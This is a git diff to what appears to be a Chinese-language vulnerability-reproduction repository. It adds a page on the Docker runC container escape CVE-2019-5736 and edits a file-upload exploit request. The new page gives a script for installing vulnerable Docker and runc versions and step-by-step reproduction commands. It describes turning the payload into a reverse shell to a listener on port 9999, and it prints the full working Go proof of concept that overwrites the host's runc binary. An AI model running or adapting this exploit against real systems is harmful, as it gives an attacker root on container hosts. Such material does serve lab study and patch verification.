update
@ -731,6 +731,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
|
|||||||
* Docker build 漏洞导致命令执行 CVE-2019-13139
|
* Docker build 漏洞导致命令执行 CVE-2019-13139
|
||||||
* Docker copy 漏洞导致容器逃逸 CVE-2019-14271
|
* Docker copy 漏洞导致容器逃逸 CVE-2019-14271
|
||||||
* Docker daemon api 未授权访问漏洞 RCE
|
* Docker daemon api 未授权访问漏洞 RCE
|
||||||
|
* Docker runC 漏洞导致容器逃逸 CVE-2019-5736
|
||||||
* Kubernetes + Ubuntu 18.04 漏洞环境搭建
|
* Kubernetes + Ubuntu 18.04 漏洞环境搭建
|
||||||
* Kubernetes API Server 未授权命令执行
|
* Kubernetes API Server 未授权命令执行
|
||||||
* Kubernetes etcd 未授权访问
|
* Kubernetes etcd 未授权访问
|
||||||
|
@ -69,15 +69,15 @@ curl http://your-ip:8080/upload.action
|
|||||||
|
|
||||||
```
|
```
|
||||||
POST /upload.action HTTP/1.1
|
POST /upload.action HTTP/1.1
|
||||||
Host: 124.221.47.70:8080
|
Host: your-ip:8080
|
||||||
Content-Length: 320
|
Content-Length: 320
|
||||||
Cache-Control: max-age=0
|
Cache-Control: max-age=0
|
||||||
Origin: http://124.221.47.70:8080
|
Origin: http://your-ip:8080
|
||||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2NRMscRh7zNdWblD
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2NRMscRh7zNdWblD
|
||||||
Upgrade-Insecure-Requests: 1
|
Upgrade-Insecure-Requests: 1
|
||||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||||
Referer: http://124.221.47.70:8080/upload.action
|
Referer: http://your-ip:8080/upload.action
|
||||||
Accept-Encoding: gzip, deflate, br
|
Accept-Encoding: gzip, deflate, br
|
||||||
Accept-Language: en
|
Accept-Language: en
|
||||||
Cookie: JSESSIONID=4563A1B22B51DE02F1FD131C1E88DE5C
|
Cookie: JSESSIONID=4563A1B22B51DE02F1FD131C1E88DE5C
|
||||||
@ -95,7 +95,7 @@ Content-Disposition: form-data; name="top.UploadFileName";
|
|||||||
------WebKitFormBoundary2NRMscRh7zNdWblD--
|
------WebKitFormBoundary2NRMscRh7zNdWblD--
|
||||||
```
|
```
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
访问上传文件:
|
访问上传文件:
|
||||||
|
|
||||||
|
Before Width: | Height: | Size: 385 KiB |
After Width: | Height: | Size: 399 KiB |
224
云安全漏洞/Docker runC 漏洞导致容器逃逸 CVE-2019-5736.md
Normal file
@ -0,0 +1,224 @@
|
|||||||
|
# Docker runC 漏洞导致容器逃逸 CVE-2019-5736
|
||||||
|
|
||||||
|
## 漏洞描述
|
||||||
|
|
||||||
|
Docker、containerd 或者其他基于 runc 的容器在运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者 exec 操作获取到宿主机 runc 执行时的文件句柄并修改 runc 的二进制文件,从而获取到宿主机的 root 执行权限。要利用此漏洞,需要在容器内拥有 root (uid 0)。
|
||||||
|
|
||||||
|
参考链接:
|
||||||
|
|
||||||
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5736
|
||||||
|
- https://github.com/Frichetten/CVE-2019-5736-PoC
|
||||||
|
|
||||||
|
## 漏洞影响
|
||||||
|
|
||||||
|
```
|
||||||
|
docker version <= 18.09.2
|
||||||
|
RunC version <= 1.0-rc6
|
||||||
|
```
|
||||||
|
|
||||||
|
## 环境搭建
|
||||||
|
|
||||||
|
ubuntu 18.04 使用以下脚本 `install_docker_18.09.0.sh` 安装 Docker 18.09.0:
|
||||||
|
|
||||||
|
```shell
|
||||||
|
#!/bin/bash
|
||||||
|
set -e
|
||||||
|
echo "[*] Removing old Docker versions (if any)..."
|
||||||
|
sudo apt remove -y docker docker-engine docker.io containerd runc || true
|
||||||
|
|
||||||
|
echo "[*] Unholding previously held Docker packages (if any)..."
|
||||||
|
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true
|
||||||
|
|
||||||
|
echo "[*] Removing incorrect Docker sources..."
|
||||||
|
sudo rm -f /etc/apt/sources.list.d/docker.list || true
|
||||||
|
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list
|
||||||
|
|
||||||
|
echo "[*] Adding Tsinghua University Docker mirror GPG key..."
|
||||||
|
wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
|
||||||
|
|
||||||
|
echo "[*] Adding Tsinghua University Docker mirror repository..."
|
||||||
|
echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
|
||||||
|
| sudo tee /etc/apt/sources.list.d/docker.list
|
||||||
|
|
||||||
|
echo "[*] Updating package index..."
|
||||||
|
sudo apt update
|
||||||
|
|
||||||
|
echo "[*] Searching for Docker 18.09.0..."
|
||||||
|
VERSION_STRING=$(apt-cache madison docker-ce | grep 18.09.0 | head -n1 | awk '{print $3}')
|
||||||
|
if [ -z "$VERSION_STRING" ]; then
|
||||||
|
echo "[*] Docker 18.09.0 not found"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
echo "[*] Found version: $VERSION_STRING"
|
||||||
|
|
||||||
|
echo "[*] Installing Docker version $VERSION_STRING ..."
|
||||||
|
sudo apt install -y docker-ce=$VERSION_STRING docker-ce-cli=$VERSION_STRING containerd.io --allow-downgrades
|
||||||
|
|
||||||
|
echo "[*] Locking version to prevent automatic updates..."
|
||||||
|
sudo apt-mark hold docker-ce docker-ce-cli containerd.io
|
||||||
|
|
||||||
|
echo "[*] Installation complete, current version:"
|
||||||
|
docker --version
|
||||||
|
```
|
||||||
|
|
||||||
|
安装 runc:
|
||||||
|
|
||||||
|
```
|
||||||
|
wget https://github.com/opencontainers/runc/releases/download/v1.0.0-rc6/runc.amd64
|
||||||
|
sudo install -m 755 runc.amd64 /usr/local/sbin/runc
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞复现
|
||||||
|
|
||||||
|
**注意,以下操作将覆盖 runc ,这会导致您的系统无法再运行 Docker 容器。请在虚拟环境中操作。**
|
||||||
|
|
||||||
|
通过 [该项目](https://github.com/Frichetten/CVE-2019-5736-PoC) ,我们将用 `#!/proc/self/exe` 覆盖容器中的 `/bin/sh` ,写入恶意命令。如果容器使用 `runc` 启动,`/proc/self/exe` 实际指向的就是容器运行时使用的 `runc` 二进制文件。那么,当在容器内执行 `/bin/sh` 时,将尝试修改 `/proc/self/exe` 的目标文件,即主机上的 `runc` 二进制文件。
|
||||||
|
|
||||||
|
将 payload 修改为执行反弹 shell,编译:
|
||||||
|
|
||||||
|
```
|
||||||
|
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
新建一个容器,将编译好的 main 传入容器:
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo docker run -itd --name=5736 ubuntu bash
|
||||||
|
docker cp ./main 5736:/
|
||||||
|
```
|
||||||
|
|
||||||
|
执行 main,覆盖 `/bin/sh`:
|
||||||
|
|
||||||
|
```
|
||||||
|
docker exec -it 5736 /bin/bash
|
||||||
|
root@a9b857df4cc6:/# ./main
|
||||||
|
[+] Overwritten /bin/sh successfully
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
重新打开一个窗口,执行 `/bin/sh`,获取文件句柄,写入恶意命令:
|
||||||
|
|
||||||
|
```
|
||||||
|
docker exec -it 5736 /bin/sh
|
||||||
|
No help topic for '/bin/sh'
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
查看之前的窗口,此时已经执行成功:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
退出当前容器,重新进入,触发恶意命令:
|
||||||
|
|
||||||
|
```
|
||||||
|
docker exec -it 5736 /bin/bash
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
攻击机监听 9999 端口:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞 POC
|
||||||
|
|
||||||
|
- https://github.com/Frichetten/CVE-2019-5736-PoC
|
||||||
|
|
||||||
|
```go
|
||||||
|
package main
|
||||||
|
|
||||||
|
// Implementation of CVE-2019-5736
|
||||||
|
// Created with help from @singe, @_cablethief, and @feexd.
|
||||||
|
// This commit also helped a ton to understand the vuln
|
||||||
|
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
|
"os"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"flag"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
var shellCmd string
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
|
||||||
|
flag.Parse()
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
// This is the line of shell commands that will execute on the host
|
||||||
|
var payload = "#!/bin/bash \n" + shellCmd
|
||||||
|
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
|
||||||
|
fd, err := os.Create("/bin/sh")
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println(err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fmt.Fprintln(fd, "#!/proc/self/exe")
|
||||||
|
err = fd.Close()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println(err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fmt.Println("[+] Overwritten /bin/sh successfully")
|
||||||
|
|
||||||
|
// Loop through all processes to find one whose cmdline includes runcinit
|
||||||
|
// This will be the process created by runc
|
||||||
|
var found int
|
||||||
|
for found == 0 {
|
||||||
|
pids, err := ioutil.ReadDir("/proc")
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println(err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
for _, f := range pids {
|
||||||
|
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
|
||||||
|
fstring := string(fbytes)
|
||||||
|
if strings.Contains(fstring, "runc") {
|
||||||
|
fmt.Println("[+] Found the PID:", f.Name())
|
||||||
|
found, err = strconv.Atoi(f.Name())
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println(err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// We will use the pid to get a file handle for runc on the host.
|
||||||
|
var handleFd = -1
|
||||||
|
for handleFd == -1 {
|
||||||
|
// Note, you do not need to use the O_PATH flag for the exploit to work.
|
||||||
|
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
|
||||||
|
if int(handle.Fd()) > 0 {
|
||||||
|
handleFd = int(handle.Fd())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fmt.Println("[+] Successfully got the file handle")
|
||||||
|
|
||||||
|
// Now that we have the file handle, lets write to the runc binary and overwrite it
|
||||||
|
// It will maintain it's executable flag
|
||||||
|
for {
|
||||||
|
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
|
||||||
|
if int(writeHandle.Fd()) > 0 {
|
||||||
|
fmt.Println("[+] Successfully got write handle", writeHandle)
|
||||||
|
fmt.Println("[+] The command executed is" + payload)
|
||||||
|
writeHandle.Write([]byte(payload))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 漏洞修复
|
||||||
|
|
||||||
|
- 升级至最新版本 https://docs.docker.com/engine/release-notes/
|
After Width: | Height: | Size: 78 KiB |
After Width: | Height: | Size: 154 KiB |
After Width: | Height: | Size: 46 KiB |
After Width: | Height: | Size: 39 KiB |
After Width: | Height: | Size: 124 KiB |
After Width: | Height: | Size: 27 KiB |
After Width: | Height: | Size: 65 KiB |